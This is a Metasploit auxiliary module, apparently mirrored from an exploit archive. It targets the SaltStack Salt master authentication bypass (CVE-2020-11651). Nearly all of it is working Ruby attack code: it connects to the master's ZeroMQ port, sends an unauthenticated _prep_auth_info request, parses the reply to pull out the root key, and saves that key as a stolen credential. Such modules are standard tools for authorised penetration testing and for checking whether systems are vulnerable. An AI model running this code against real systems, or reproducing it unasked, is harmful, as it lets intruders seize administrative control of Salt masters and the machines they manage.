## https://sploitus.com/exploit?id=PACKETSTORM:180608
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::ZeroMQ
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SaltStack Salt Master Server Root Key Disclosure',
'Description' => %q{
This module exploits unauthenticated access to the _prep_auth_info()
method in the SaltStack Salt master's ZeroMQ request server, for
versions 2019.2.3 and earlier and 3000.1 and earlier, to disclose the
root key used to authenticate administrative commands to the master.
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
1.3, 1.5, and 1.6 in certain configurations, are known to be affected
by the Salt vulnerabilities.
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
well as Vulhub's Docker image.
},
'Author' => [
'F-Secure', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-11651'], # Auth bypass (used by this module)
['CVE', '2020-11652'], # Authed directory traversals (not used here)
['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],
['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
],
'DisclosureDate' => '2020-04-30', # F-Secure advisory
'License' => MSF_LICENSE,
'Actions' => [
['Dump', { 'Description' => 'Dump root key from Salt master' }]
],
'DefaultAction' => 'Dump',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
Opt::RPORT(4506)
])
end
def run
# These are from Msf::Exploit::Remote::ZeroMQ
zmq_connect
zmq_negotiate
unless (root_key = extract_root_key(yeet_prep_auth_info))
print_error('Could not find root key in serialized auth info')
# Return CheckCode for exploit/linux/misc/saltstack_salt_unauth_rce
return Exploit::CheckCode::Safe
end
print_good("Root key: #{root_key}")
# I hate this API, but store the root key in creds, too
create_credential_and_login(
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
address: rhost,
port: rport,
protocol: 'tcp',
service_name: 'salt/zeromq',
username: 'root',
private_data: root_key,
private_type: :password
)
# Return CheckCode for exploit/linux/misc/saltstack_salt_unauth_rce
Exploit::CheckCode::Vulnerable(root_key) # And the root key as the reason!
rescue EOFError, Rex::ConnectionError => e
print_error("#{e.class}: #{e.message}")
Exploit::CheckCode::Unknown
ensure
# This is from Msf::Exploit::Remote::ZeroMQ
zmq_disconnect
end
def yeet_prep_auth_info
print_status("Yeeting _prep_auth_info() at #{peer}")
zmq_send_message(serialize_clear_load('cmd' => '_prep_auth_info'))
unless (res = sock.get_once)
fail_with(Failure::Unknown, 'Did not receive auth info')
end
unless res.match(/user.+UserAuthenticationError.+root/m)
fail_with(Failure::UnexpectedReply,
"Did not receive serialized auth info: #{res.inspect}")
end
vprint_good('Received serialized auth info')
# HACK: Strip assumed ZeroMQ header and leave assumed MessagePack "load"
res[4..]
end
def extract_root_key(auth_info)
# Fetch root key from appropriate index of deserialized data, presumably
MessagePack.unpack(auth_info)[2]&.fetch('root')
rescue EOFError, KeyError, MessagePack::MalformedFormatError => e
print_error("#{__method__} failed: #{e.message}")
nil
end
end